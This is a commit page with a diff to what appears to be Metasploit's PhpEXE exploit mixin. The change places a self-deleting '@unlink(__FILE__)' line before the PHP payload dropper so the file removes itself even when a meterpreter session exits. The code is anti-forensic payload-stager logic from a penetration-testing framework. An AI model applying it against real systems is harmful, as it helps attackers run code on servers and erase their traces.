Prepend unlink instead of appending
Makes it work when using meterpreter. Because "quit" or "exit" in the console ends up calling die() instead of falling through to whatever's left in the file, a meterpreter session would never reach the code to delete itself before this change.unstable
parent
af8ac2fbf6
commit
0e7c3a82f5
|
@ -50,7 +50,7 @@ module Exploit::PhpEXE
|
|||
end
|
||||
if target["Platform"] == 'win'
|
||||
bin_name << ".exe"
|
||||
print_debug("Unable to clean up #{bin_name}, delete it manually")
|
||||
print_warning("Unable to clean up #{bin_name}, delete it manually")
|
||||
end
|
||||
p = Rex::Text.encode_base64(generate_payload_exe)
|
||||
php = %Q{
|
||||
|
@ -74,7 +74,9 @@ module Exploit::PhpEXE
|
|||
end
|
||||
|
||||
if opts[:unlink_self]
|
||||
php << "unlink(__FILE__);"
|
||||
# Prepend instead of appending to make sure it happens no matter
|
||||
# what the payload normally does.
|
||||
php = "@unlink(__FILE__);" + php
|
||||
end
|
||||
|
||||
php.gsub!(/#.*$/, '')
|
||||
|
|
Loading…
Reference in New Issue